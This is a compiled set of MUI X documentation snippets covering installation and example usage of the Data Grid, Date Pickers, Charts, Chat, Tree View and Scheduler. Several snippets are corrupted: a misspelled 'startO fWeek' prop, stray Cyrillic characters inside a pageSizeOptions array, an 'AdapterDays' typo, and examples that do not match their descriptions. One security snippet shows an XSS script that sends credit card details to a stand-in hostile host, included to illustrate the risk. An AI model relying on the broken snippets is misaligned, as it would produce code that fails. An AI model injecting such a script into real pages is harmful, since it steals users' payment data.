### Start Client Command

Source: https://mui.com/x/react-data-grid/tutorials/server-side-data

Command to start the development server for the frontend client.

```bash
cd client
pnpm run dev

```

--------------------------------

### Minimal Core Chat Setup

Source: https://mui.com/x/react-chat/core/examples

Demonstrates the smallest working setup for ChatProvider and useChat.

```javascript
import { ChatProvider, useChat } from "@mui/x-chat/core";

function MyChat() {
  const { messages, sendMessage } = useChat();

  return (
    <div>
      <ul>
        {messages.map((msg) => (
          <li key={msg.id}>{msg.content}</li>
        ))}
      </ul>
      <button onClick={() => sendMessage("Hello!")}>Send</button>
    </div>
  );
}

function App() {
  return (
    <ChatProvider>
      <MyChat />
    </ChatProvider>
  );
}
```

--------------------------------

### Start Server Command

Source: https://mui.com/x/react-data-grid/tutorials/server-side-data

Command to start the development server for the backend.

```bash
cd server
pnpm run dev

```

--------------------------------

### Tool Input Streaming Example

Source: https://mui.com/x/react-chat/ai-and-agents/tool-calling

Demonstrates streaming tool input incrementally as JSON. This example shows the sequence of chunks for starting, delta, and available input, followed by an output chunk.

```typescript
const adapter: ChatAdapter = {
  async sendMessage({ message }) {
    return new ReadableStream({
      start(controller) {
        controller.enqueue({ type: 'start', messageId: 'msg-1' });

        // Tool input streaming
        controller.enqueue({
          type: 'tool-input-start',
          toolCallId: 'call-1',
          toolName: 'get_weather',
        });
        controller.enqueue({
          type: 'tool-input-delta',
          toolCallId: 'call-1',
          inputTextDelta: '{"city":',
        });
        controller.enqueue({
          type: 'tool-input-delta',
          toolCallId: 'call-1',
          inputTextDelta: '"Paris"}',
        });
        controller.enqueue({
          type: 'tool-input-available',
          toolCallId: 'call-1',
          toolName: 'get_weather',
          input: { city: 'Paris' },
        });

        // Tool output
        controller.enqueue({
          type: 'tool-output-available',
          toolCallId: 'call-1',
          output: { temperature: 22, condition: 'sunny' },
        });

        controller.enqueue({ type: 'finish', messageId: 'msg-1' });
        controller.close();
      },
    });
  },
};

```

--------------------------------

### Install @mui/x-chat package

Source: https://mui.com/x/react-chat/customization/tailwind

Install the chat package alongside Tailwind CSS.

```bash
npm install @mui/x-chat
```

--------------------------------

### Synchronous Subscription Setup

Source: https://mui.com/x/react-chat/multi-conversation/real-time-sync

This example demonstrates how to set up a synchronous WebSocket subscription for real-time events. The cleanup function is returned directly to close the WebSocket connection when the component unmounts.

```typescript
const adapter: ChatAdapter = {
  async sendMessage(input) {
    /* ... */
  },

  subscribe({ onEvent }) {
    const ws = new WebSocket('/api/realtime');
    ws.onmessage = (event) => onEvent(JSON.parse(event.data));
    return () => ws.close();
  },
};

```

--------------------------------

### Adapter Initialization Example

Source: https://mui.com/x/migration/migration-pickers-v6

Example demonstrating adapter initialization and usage of the `isValid` method. This is relevant for users integrating adapters outside of `LocalizationProvider`.

```javascript
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';

const adapter = new AdapterDays();
adapter.isValid(dayjs('2022-04-17T15:30'));

```

--------------------------------

### Install Server Dependencies

Source: https://mui.com/x/react-data-grid/tutorials/server-side-data

Installs necessary runtime and development dependencies for the server, including Express.js and TypeScript.

```bash
pnpm install express cors &&
pnpm install --save-dev typescript @types/express @types/node tsx

```

--------------------------------

### Install MUI X Date Pickers (Community Plan)

Source: https://mui.com/x/migration/migration-pickers-lab

Install the community version of MUI X Date Pickers using npm.

```bash
npm install @mui/x-date-pickers
```

--------------------------------

### Install MUI X Data Grid Community Package

Source: https://mui.com/x/react-data-grid/quickstart

Install the Community version of the Data Grid package using npm.

```bash
npm install @mui/x-data-grid
```

--------------------------------

### File Explorer Example with Reordering

Source: https://mui.com/x/react-tree-view/rich-tree-view/ordering

A simplified file explorer example demonstrating drag-and-drop reordering. Items can be reordered within folders or the trash.

```jsx
<RichTreeViewPro items={MUI_X_PRODUCTS} defaultExpandedItems={['grid', 'pickers']} itemsReordering slots={{ item: CustomTreeItem }} />
```

--------------------------------

### Install MUI X Date Pickers (Pro Plan)

Source: https://mui.com/x/migration/migration-pickers-lab

Install the pro version of MUI X Date Pickers and the pro license package using npm.

```bash
npm install @mui/x-date-pickers-pro @mui/x-license-pro
```

--------------------------------

### Install MUI X Tree View Package

Source: https://mui.com/x/migration/migration-tree-view-lab

Install the @mui/x-tree-view package using npm.

```bash
npm install @mui/x-tree-view
```

--------------------------------

### AI Assistant with Custom Examples

Source: https://mui.com/x/react-data-grid/ai-assistant

Provide custom examples for columns using the `examples` property to increase the accuracy of language processing. This snippet also includes predefined suggestions for AI Assistant prompts.

```jsx
<DataGridPremium
  {...data}
  columns={columns}
  aiAssistantSuggestions={[
    { value: 'Sort by name' },
    { value: 'Show people from the EU' },
    { value: 'Sort by company name and employee name' },
    { value: 'Order companies by amount of people' },
  ]}
  aiAssistant
  onPrompt={processPrompt}
  showToolbar
  slots={{
    aiAssistantPanel: GridAiAssistantPanel,
  }}
/>  
```

--------------------------------

### Bash Tool Call Example

Source: https://mui.com/x/react-chat/material/examples/agentic-code

Example of a bash tool call to execute a command.

```json
{
  "command": "pnpm test --run"
}
```

--------------------------------

### File Explorer Example

Source: https://mui.com/x/react-tree-view/rich-tree-view/customization

A comprehensive example demonstrating a file explorer interface using Rich Tree View. This demo integrates various customization options to achieve a distinct visual design.

```jsx
const MUI_X_PRODUCTS = [
  {
    id: 'grid',
    label: 'Data Grid',
    children: [
      { id: 'grid-data-grid', label: '@mui/x-data-grid' },
      { id: 'grid-data-grid-pro', label: '@mui/x-data-grid-pro' },
      { id: 'grid-data-grid-premium', label: '@mui/x-data-grid-premium' },
    ],
  },
  { id: 'date-time', label: 'Date and Time Pickers' },
  { id: 'charts', label: 'Charts' },
  { id: 'tree-view', label: 'Tree View' },
];

function FileExplorerDemo() {
  return (
    <RichTreeView
      aria-label="file system navigator"
      defaultExpandedItems={['grid']}
      items={MUI_X_PRODUCTS}
      sx={{ height: 264, flexGrow: 1, maxWidth: 400, overflow: 'auto' }}
    />
  );
}

```

--------------------------------

### Install MUI X Charts

Source: https://mui.com/x/react-charts/quickstart

Install the Community version of the MUI X Charts package using npm.

```bash
npm install @mui/x-charts
```

--------------------------------

### Install MUI X Scheduler

Source: https://mui.com/x/react-scheduler/quickstart

Install the Community version of the MUI X Scheduler package using npm.

```bash
npm install @mui/x-scheduler
```

--------------------------------

### Read File Tool Call Example

Source: https://mui.com/x/react-chat/material/examples/agentic-code

Example of a read_file tool call to retrieve the content of a specific file.

```json
{
  "path": "src/Button.test.ts"
}
```

--------------------------------

### Install Material UI and MUI X Dependencies

Source: https://mui.com/x/react-data-grid/tutorials/server-side-data

Installs Material UI core, icons, Data Grid, and Roboto font dependencies for the client application.

```bash
pnpm install @mui/material @emotion/react @emotion/styled @mui/icons-material @mui/x-data-grid @fontsource/roboto

```

--------------------------------

### RTL Example with Shortcuts

Source: https://mui.com/x/react-date-pickers/shortcuts

Demonstrates that shortcuts respect the Right-to-Left (RTL) direction setting, ensuring proper layout and usability in RTL languages. This example includes a list of holidays.

```javascript
const shortcutsItems = [
  { label: "New Year's Day", onClick: () => console.log("New Year's Day") },
  { label: "Birthday of MLK Jr.", onClick: () => console.log("Birthday of MLK Jr.") },
  { label: "Independence Day", onClick: () => console.log("Independence Day") },
  { label: "Labor Day", onClick: () => console.log("Labor Day") },
  { label: "Thanksgiving Day", onClick: () => console.log("Thanksgiving Day") },
  { label: "Christmas Day", onClick: () => console.log("Christmas Day") },
];

<LocalizationProvider dateAdapter={AdapterDayjs} localeText={{ startO fWeek: 0 }}>
  <DemoItem label="RTL">
    <DatePicker
      label="Shortcuts"
      slots={{ shortcuts: DatePickerShortcuts }}
      slotProps={{
        shortcuts: {
          items: shortcutsItems,
        },
      }}
    />
  </DemoItem>
</LocalizationProvider>
```

--------------------------------

### ChatProvider with Type Augmentation Example

Source: https://mui.com/x/react-chat/core/examples/type-augmentation

Example of setting up `ChatProvider` with custom `partRenderers` to demonstrate type augmentation in a chat interface.

```typescript
<ChatProvider adapter={adapter} initialConversations={conversations} initialMessages={initialMessages} initialActiveConversationId="triage" partRenderers={partRenderers} > <TypeAugmentationInner /> </ChatProvider>
```

--------------------------------

### Install MUI X Data Grid Premium Dependencies

Source: https://mui.com/x/react-data-grid/tutorials/aggregation-row-grouping

Installs Material UI and the MUI X Data Grid Premium package along with Roboto font.

```bash
pnpm install @mui/material @emotion/react @emotion/styled @mui/icons-material @mui/x-data-grid-premium @fontsource/roboto

```

--------------------------------

### ChatProvider Setup for Realtime Sync

Source: https://mui.com/x/react-chat/core/examples/realtime-thread-sync

Configure the `ChatProvider` with initial conversations and messages, and set an initial active conversation ID. This setup is the foundation for demonstrating realtime collection synchronization.

```jsx
<ChatProvider
  adapter={adapter}
  initialConversations={cloneConversations(demoConversations.slice(0, 2))}
  initialMessages={[
    ...cloneMessages(demoThreads.support),
    ...cloneMessages(demoThreads.product),
  ]}
  initialActiveConversationId="support"
>
  <RealtimeThreadSyncInner emit={emit} />
</ChatProvider>  

```

--------------------------------

### Minimal Headless Chat UI Setup

Source: https://mui.com/x/react-chat/core/examples/minimal-chat

This snippet shows the complete minimal setup for a headless chat UI, including the ChatProvider and the inner component that utilizes the useChat hook.

```jsx
<ChatProvider adapter={adapter} initialActiveConversationId="support">
  <MinimalChatInner />
</ChatProvider>  

<ChatProvider adapter={adapter} initialActiveConversationId="support"> <MinimalChatInner /> </ChatProvider>
```

--------------------------------

### WebSocket Chat Adapter Example

Source: https://mui.com/x/react-chat/backend/real-time-adapters

A complete example of a chat adapter implementation using WebSockets for real-time events. Includes sending messages, subscribing to events, and updating typing and read states.

```typescript
import type { ChatAdapter } from '@mui/x-chat/headless';

const adapter: ChatAdapter = {
  async sendMessage({ message, signal }) {
    const res = await fetch('/api/chat', {
      method: 'POST',
      body: JSON.stringify({ message }),
      signal,
    });
    return res.body!;
  },

  subscribe({ onEvent }) {
    const ws = new WebSocket('/api/ws');
    ws.onmessage = (e) => onEvent(JSON.parse(e.data));
    return () => ws.close(); // cleanup on unmount
  },

  async setTyping({ conversationId, isTyping }) {
    await fetch('/api/typing', {
      method: 'POST',
      body: JSON.stringify({ conversationId, isTyping }),
    });
  },

  async markRead({ conversationId, messageId }) {
    await fetch('/api/read', {
      method: 'POST',
      body: JSON.stringify({ conversationId, messageId }),
    });
  },
};

```

--------------------------------

### Past and Future Validation - TimeRangePicker

Source: https://mui.com/x/react-date-pickers/validation

Example of `disablePast` on a TimeRangePicker, ensuring both start and end times are not in the past relative to the current time.

```jsx
08:42 AM – 08:42 AM
```

--------------------------------

### Initialize Server Project

Source: https://mui.com/x/react-data-grid/tutorials/server-side-data

Initializes a new Node.js project in the server directory.

```bash
cd server &&
pnpm init

```

--------------------------------

### Yearly recurrence examples

Source: https://mui.com/x/react-scheduler/recurring-events

Define yearly recurrence. By default, it repeats on the same month and day as the event's start date. `INTERVAL` can be used for bi-yearly or other multi-year patterns.

```javascript
// Every year on the event's start date (same month and day)
rrule: 'FREQ=YEARLY';
```

```javascript
// Every two years on the event's start date (same month and day)
rrule: 'FREQ=YEARLY;INTERVAL=2';
```

--------------------------------

### Multiple Row Selection with DataGridPro

Source: https://mui.com/x/react-data-grid/row-selection

For Data Grid Pro and Premium, multiple rows can be selected by holding Ctrl/Cmd. This example shows the basic setup for DataGridPro with pagination.

```jsx
<DataGridPro
  {...data}
  loading={loading}
  pagination
  initialState={{
    ...data.initialState,
    pagination: {
      paginationModel: {
        pageSize: 10,
      },
    },
  }}
/>
```

--------------------------------

### Create Project Directory Structure

Source: https://mui.com/x/react-data-grid/tutorials/server-side-data

Sets up the basic directory structure for the server-side data project.

```bash
mkdir server-side-data &&
cd server-side-data &&
mkdir client server

```

--------------------------------

### Empty Pivot Overlay

Source: https://mui.com/x/react-data-grid/overlays

The 'Empty pivot' overlay is displayed when pivot mode is enabled but no fields have been added to the rows section. This example shows a basic DataGridPremium setup.

```jsx
<DataGridPremium
  rows={rows}
  columns={columns}
  initialState={initialState}
  columnGroupHeaderHeight={36}
  showToolbar
/>  
```

--------------------------------

### Import QuickFilterClear Component

Source: https://mui.com/x/api/data-grid/quick-filter-clear

Learn about the difference by reading this guide on minimizing bundle size.

```javascript
import { QuickFilterClear } from '@mui/x-data-grid/components';
// or
import { QuickFilterClear } from '@mui/x-data-grid';
// or
import { QuickFilterClear } from '@mui/x-data-grid-pro';
// or
import { QuickFilterClear } from '@mui/x-data-grid-premium';
```

--------------------------------

### Synchronize Tree Views on Reorder

Source: https://mui.com/x/react-tree-view/rich-tree-view/ordering

Use `onItemPositionChange` to react to item reordering and `getItemTree()` to get the updated data structure. This example synchronizes two Tree Views.

```jsx
<Box sx={{ minHeight: 352, minWidth: 300 }}>
  <RichTreeViewPro
    apiRef={apiRefTreeViewA}
    items={MUI_X_PRODUCTS}
    itemsReordering
    defaultExpandedItems={['grid', 'pickers']}
    onItemPositionChange={handleItemPositionChangeTreeViewA}
  />
</Box>
<Box sx={{ minHeight: 352, minWidth: 300 }}>
  <RichTreeViewPro
    items={itemsTreeViewB}
    expandedItems={getAllItemsWithChildrenItemIds(itemsTreeViewB)}
    isItemDisabled={() => true}
  />
</Box>  

```

--------------------------------

### Run the Development Server

Source: https://mui.com/x/react-data-grid/tutorials/aggregation-row-grouping

Starts the Vite development server for the React application.

```bash
pnpm dev

```

--------------------------------

### Basic Range Bar Chart Setup

Source: https://mui.com/x/react-charts/range-bar

To create a range bar chart, render `BarChartPremium` with at least one series of type 'rangeBar'. Each data point should be an object with 'start' and 'end' properties.

```jsx
<BarChartPremium
  // ...
  borderRadius={10}
/>
```

--------------------------------

### Import QuickFilter Component

Source: https://mui.com/x/api/data-grid/quick-filter

Learn about the difference by reading this guide on minimizing bundle size.

```javascript
import { QuickFilter } from '@mui/x-data-grid/components';
// or
import { QuickFilter } from '@mui/x-data-grid';
// or
import { QuickFilter } from '@mui/x-data-grid-pro';
// or
import { QuickFilter } from '@mui/x-data-grid-premium';
```

--------------------------------

### Displaying Extrema Labels for Line Series

Source: https://mui.com/x/react-charts/components

Use `useLineSeries` to get series data and display indicators for minimum and maximum values. This example shows how to integrate custom logic within the chart rendering.

```jsx
<ChartsDataProvider
  xAxis={[{ id: 'x', data: [1, 2, 3, 5, 8, 10], height: 28 }]} 
  series={[
    { id: 'a', type: 'line', data: [4, 6, 4, 9, 3, 5] },
    { id: 'b', type: 'line', data: [3, 7, 8, 2, 4, 9] },
  ]}
  yAxis={[{ min: 0, max: 10 }]} 
  height={300}
>
  <ChartsSurface>
    <LinePlot />
    <ChartsXAxis />
    <ChartsYAxis />
  </ChartsSurface>
  <ExtremaLabels />
</ChartsDataProvider>  

```

--------------------------------

### Instant Event Example (UTC)

Source: https://mui.com/x/react-scheduler/timezone

An event with start and end dates as strings ending in 'Z' represents a fixed moment in UTC. This event will display at different local times depending on the viewer's timezone.

```javascript
const event = {
  id: '1',
  title: 'Team sync',
  start: '2024-01-10T13:00:00Z', // 13:00 UTC
  end: '2024-01-10T14:00:00Z',
};

```

--------------------------------

### Import QuickFilterTrigger

Source: https://mui.com/x/api/data-grid/quick-filter-trigger

Learn about the difference by reading this guide on minimizing bundle size.

```javascript
import { QuickFilterTrigger } from '@mui/x-data-grid/components';
// or
import { QuickFilterTrigger } from '@mui/x-data-grid';
// or
import { QuickFilterTrigger } from '@mui/x-data-grid-pro';
// or
import { QuickFilterTrigger } from '@mui/x-data-grid-premium';
```

--------------------------------

### Basic Gauge Container Setup

Source: https://mui.com/x/react-charts/gauge

Sets up a basic Gauge container with reference, value, and pointer arcs. Useful for a standard gauge visualization.

```jsx
<GaugeContainer
  width={200}
  height={200}
  startAngle={-110}
  endAngle={110}
  value={30}
>
  <GaugeReferenceArc />
  <GaugeValueArc />
  <GaugePointer />
</GaugeContainer>
```

--------------------------------

### useChat()

Source: https://mui.com/x/react-chat/core/hooks

The all-in-one orchestration hook that returns both public state fields and all runtime actions. It's the fastest way to get started but subscribes to multiple store slices. For performance-sensitive applications, consider using narrower hooks.

```APIDOC
## `useChat()`

### Description
The all-in-one orchestration hook. It returns both the public state fields and every runtime action in a single object.

### State
- **messages** (`ChatMessage[]`) - All messages in the active conversation
- **conversations** (`ChatConversation[]`) - All conversations
- **activeConversationId** (`string | undefined`) - Currently active conversation
- **isStreaming** (`boolean`) - Whether a response is being streamed
- **hasMoreHistory** (`boolean`) - Whether older messages can be loaded
- **error** (`ChatError | null`) - Current error state

### Actions
- **sendMessage** - `(input: UseChatSendMessageInput) => Promise<void>` - Send a user message
- **stopStreaming** - `() => void` - Abort the active stream
- **loadMoreHistory** - `() => Promise<void>` - Load older messages
- **setActiveConversation** - `(id: string | undefined) => Promise<void>` - Switch conversations
- **retry** - `(messageId: string) => Promise<void>` - Retry a failed message
- **setError** - `(error: ChatError | null) => void` - Update the error state
- **addToolApprovalResponse** - `(input: ChatAddToolApproveResponseInput) => Promise<void>` - Approve or deny a tool call

### `UseChatSendMessageInput`
When calling `sendMessage`, the input object has the following shape:
```
{
  id?: string;
  conversationId?: string;
  parts: ChatMessagePart[];
  metadata?: ChatMessageMetadata;
  author?: ChatUser;
  createdAt?: ChatDateTimeString;
  attachments?: ChatDraftAttachment[];
}
```

### Usage
```javascript
function Thread() {
  const { messages, sendMessage, isStreaming } = useChat();

  return (
    <div>
      {messages.map((msg) => (
        <div key={msg.id}>
          {msg.parts[0]?.type === 'text' ? msg.parts[0].text : null}
        </div>
      ))}
      <button
        disabled={isStreaming}
        onClick={() =>
          sendMessage({
            parts: [{ type: 'text', text: 'Hello!' }],
          })
        }
      >
        Send
      </button>
    </div>
  );
}
```
```

--------------------------------

### Wall-time Event Example (Local Time)

Source: https://mui.com/x/react-scheduler/timezone

An event with start and end dates as strings without 'Z' is interpreted as a local time within the event's specified `timezone`. This ensures the event occurs at the same local time regardless of DST changes.

```javascript
const event = {
  id: '1',
  title: 'Morning standup',
  start: '2024-01-10T09:00:00', // 09:00 local time in New York
  end: '2024-01-10T09:30:00',
  timezone: 'America/New_York',
};

```

--------------------------------

### Custom Grouping Window for Messages

Source: https://mui.com/x/react-chat/material/message-list

Customize the time window for grouping consecutive messages from the same author using `slotProps.createTimeWindowGroupKey`. This example sets the window to 1 minute (60,000 ms), causing messages further apart to start new groups with a fresh avatar.

```javascript
/*
  Custom grouping window for messages.
  The demo below sets the window to 1 minute (60,000 ms) — notice how messages more than 1 minute apart start a new group with a fresh avatar:
*/

```

--------------------------------

### Create React Project with Vite

Source: https://mui.com/x/react-data-grid/tutorials/aggregation-row-grouping

Scaffolds a new React project with Vite and installs initial dependencies.

```bash
mkdir aggregation-row-grouping &&
cd aggregation-row-grouping &&
pnpm create vite@latest . -- --template react-ts &&
pnpm install

```

--------------------------------

### ChatProvider Setup for Advanced Metrics

Source: https://mui.com/x/react-chat/core/examples/advanced-store-access

This code demonstrates how to set up the `ChatProvider` with initial data to be used with advanced store access for custom metrics.

```javascript
<ChatProvider
  adapter={adapter}
  initialConversations={cloneConversations(demoConversations.slice(0, 2))}
  initialActiveConversationId="support"
  initialMessages={[...demoThreads.support, ...demoThreads.product]}
  initialComposerValue="Track this with a custom selector."
>
  <AdvancedMetrics />
</ChatProvider>
```

--------------------------------

### Data Grid with `dataSource` and Pagination Options

Source: https://mui.com/x/react-data-grid/server-side-data

This example demonstrates using the `dataSource` prop with explicit pagination settings, including initial state and available page sizes. It assumes a `dataSource` object is defined elsewhere.

```jsx
<DataGrid
  columns={columns}
  dataSource={dataSource}
  pagination
  initialState={{
    ...initialState,
    pagination: { paginationModel: { pageSize: 10, page: 0 }, rowCount: 0 },
  }}
  pageSizeOptions={[10, 20, 50]}
/>
```

--------------------------------

### Configure Initial Page Size and Options

Source: https://mui.com/x/react-data-grid/pagination

Set an initial page size and customize the available options using `initialState.pagination.paginationModel` and `pageSizeOptions` respectively. The `value: -1` option displays all results.

```jsx
<DataGrid
  {...data}
  loading={loading}
  initialState={{
    ...data.initialState,
    pagination: { paginationModel: { pageSize: 5 } },
  }}
  pageSizeOptions={[5, 10, 25, { value: -1, label: 'All' }ті]} />
```

--------------------------------

### Glob Tool Call Example

Source: https://mui.com/x/react-chat/material/examples/agentic-code

Example of a glob tool call to find files matching a pattern.

```json
{
  "pattern": "src/**/*.test.ts"
}
```

--------------------------------

### Row and Value Pivoting Example

Source: https://mui.com/x/react-data-grid/pivoting-explained

Shows how to pivot by 'Product' for rows and aggregate 'Sales' for values. Displays the sum of sales for each product.

```javascript
Product
Sales
sum
Apples (4)
$4,600
Oranges (4)
$3,500
$8,100
Total Rows: 2
```

--------------------------------

### Charts and Data Grid Integration Example

Source: https://mui.com/x/react-charts/data-grid-integration

Demonstrates the integration of MUI X Charts with the Data Grid, showcasing dynamic chart updates based on Data Grid state and user interactions. Requires premium packages.

```jsx
import * as React from 'react';
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { GridChartsIntegrationContextProvider } from '@mui/x-data-grid-premium';
import { ChartRenderer } from '@mui/x-charts-premium';

const columns = [
  { field: 'id', headerName: 'ID', width: 90 },
  { field: 'name', headerName: 'Name', width: 150 },
  { field: 'website', headerName: 'Website', width: 200 },
  { field: 'rating', headerName: 'Rating', type: 'number', width: 110 },
];

const rows = [
  { id: 1, name: 'John Doe', website: 'https://example.com', rating: 4.5 },
  { id: 2, name: 'Jane Smith', website: 'https://example.org', rating: 3.8 },
  { id: 3, name: 'Peter Jones', website: 'https://example.net', rating: 4.2 },
];

export default function DataGridChartsIntegration() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <GridChartsIntegrationContextProvider>
        <DataGridPremium rows={rows} columns={columns} />
        <ChartRenderer />
      </GridChartsIntegrationContextProvider>
    </div>
  );
}
```

--------------------------------

### Advanced Pivoting Configuration

Source: https://mui.com/x/react-data-grid/pivoting-explained

Demonstrates a comprehensive pivoting setup with 'Product' and 'Size' for rows, 'Region' and 'Quarter' for columns, and aggregated 'Sales' and 'Profit' for values.

```javascript
North
South
Q1
Q2
Q1
Group
Sales
sum
Profit
avg
Sales
sum
Profit
avg
Sales
sum
Apples (4)
$1,000
100%
$1,100
110%
$1,200
Oranges (4)
$800
80%
$850
85%
$900
$1,800
90%
$1,950
97.5%
$2,100
Total Rows: 2
```

--------------------------------

### Edit File Tool Call Example

Source: https://mui.com/x/react-chat/material/examples/agentic-code

Example of an edit_file tool call to modify a string within a file.

```json
{
  "path": "src/Button.test.ts",
  "old_str": "import { Button } from './Button'",
  "new_str": "import { Button } from '../components/Button'"
}
```

--------------------------------

### Import DateTimePickerTabs

Source: https://mui.com/x/api/date-pickers/date-time-picker-tabs

Learn about the difference by reading this guide on minimizing bundle size.

```javascript
import { DateTimePickerTabs } from '@mui/x-date-pickers/DateTimePicker';
// or
import { DateTimePickerTabs } from '@mui/x-date-pickers';
// or
import { DateTimePickerTabs } from '@mui/x-date-pickers-pro';
```

--------------------------------

### Install rasterizehtml for Image Exporting

Source: https://mui.com/x/react-charts/export

Install the `rasterizehtml` package using npm or yarn to enable image exporting functionality.

```bash
npm install rasterizehtml
```

--------------------------------

### Tree Data Structure Example

Source: https://mui.com/x/react-data-grid/tree-data

This example demonstrates the expected tree structure for rendering purposes, showing parent-child relationships.

```text
// - Sarah
//     - Thomas
//         - Robert
//         - Karen
```

--------------------------------

### RTL Support Example

Source: https://mui.com/x/react-data-grid/localization

Demonstrates how to use the Data Grid with an RTL language (Arabic). Ensure you have the necessary theme and cache providers configured for RTL.

```jsx
<CacheProvider value={cacheRtl}>
  <ThemeProvider theme={theme}>
    <div dir="rtl" style={{ height: 400, width: '100%' }}>
      <DataGrid rows={rows} columns={columns} />
    </div>
  </ThemeProvider>
</CacheProvider>
```

--------------------------------

### Import DateTimePickerToolbar

Source: https://mui.com/x/api/date-pickers/date-time-picker-toolbar

Learn about the difference by reading this guide on minimizing bundle size.

```javascript
import { DateTimePickerToolbar } from '@mui/x-date-pickers/DateTimePicker';
// or
import { DateTimePickerToolbar } from '@mui/x-date-pickers';
// or
import { DateTimePickerToolbar } from '@mui/x-date-pickers-pro';
```

--------------------------------

### Import PickersLayout

Source: https://mui.com/x/api/date-pickers/pickers-layout

Learn about the difference by reading this guide on minimizing bundle size.

```javascript
import { PickersLayout } from '@mui/x-date-pickers/PickersLayout';
// or
import { PickersLayout } from '@mui/x-date-pickers';
// or
import { PickersLayout } from '@mui/x-date-pickers-pro';
```

--------------------------------

### Install Material UI Peer Dependencies

Source: https://mui.com/x/react-charts/quickstart

Install Material UI core packages, which are peer dependencies for MUI X Charts.

```bash
npm install @mui/material @emotion/react @emotion/styled
```

--------------------------------

### Basic Rich Tree View with Virtualization

Source: https://mui.com/x/react-tree-view/rich-tree-view/virtualization

Demonstrates the default usage of `<RichTreeViewPro />` with virtualization enabled for a large number of items. Ensure you have the `items` and `defaultExpandedItems` props defined.

```jsx
<RichTreeViewPro items={items} defaultExpandedItems={defaultExpandedItems} />
```

--------------------------------

### Install MCP Locally

Source: https://mui.com/x/introduction/mcp

Use this command to install the latest version of the MUI MCP package locally for testing in the MCP inspector.

```bash
npx -y @mui/mcp@latest

```

--------------------------------

### Example of XSS Attack Script

Source: https://mui.com/x/react-charts/content-security-policy

This is an example of a script that could be injected by an attacker to exploit a vulnerability if user input is not properly escaped.

```html
<script>
  sendCreditCardDetails('https://hostile.example');
</script>
```

--------------------------------

### Import DayCalendarSkeleton

Source: https://mui.com/x/api/date-pickers/day-calendar-skeleton

Learn about the difference by reading this guide on minimizing bundle size.

```javascript
import { DayCalendarSkeleton } from '@mui/x-date-pickers/DayCalendarSkeleton';
// or
import { DayCalendarSkeleton } from '@mui/x-date-pickers';
// or
import { DayCalendarSkeleton } from '@mui/x-date-pickers-pro';
```

--------------------------------

### Import DatePickerToolbar

Source: https://mui.com/x/api/date-pickers/date-picker-toolbar

Learn about the difference by reading this guide on minimizing bundle size.

```javascript
import { DatePickerToolbar } from '@mui/x-date-pickers/DatePicker';
// or
import { DatePickerToolbar } from '@mui/x-date-pickers';
// or
import { DatePickerToolbar } from '@mui/x-date-pickers-pro';
```

--------------------------------

### Customize Moment Week Start

Source: https://mui.com/x/react-date-pickers/adapters-locale

Use the `moment.updateLocale` method to set a custom start of the week for Moment.js. Replace 'en' with your target locale.

```javascript
import moment from 'moment';

// Replace "en" with the name of the locale you want to update.
moment.updateLocale('en', {
  week: {
    // Sunday = 0, Monday = 1.
    dow: 1,
  },
});

```

--------------------------------

### Customize Dayjs Week Start

Source: https://mui.com/x/react-date-pickers/adapters-locale

Use the `updateLocale` plugin with dayjs to set a custom start of the week. Replace 'en' with your target locale.

```javascript
import updateLocale from 'dayjs/plugin/updateLocale';

dayjs.extend(updateLocale);

// Replace "en" with the name of the locale you want to update.
dayjs.updateLocale('en', {
  // Sunday = 0, Monday = 1.
  weekStart: 1,
});

```

--------------------------------

### Import DateTimeRangePickerTabs

Source: https://mui.com/x/api/date-pickers/date-time-range-picker-tabs

Learn about the difference by reading this guide on minimizing bundle size.

```javascript
import { DateTimeRangePickerTabs } from '@mui/x-date-pickers-pro/DateTimeRangePicker';
// or
import { DateTimeRangePickerTabs } from '@mui/x-date-pickers-pro';
```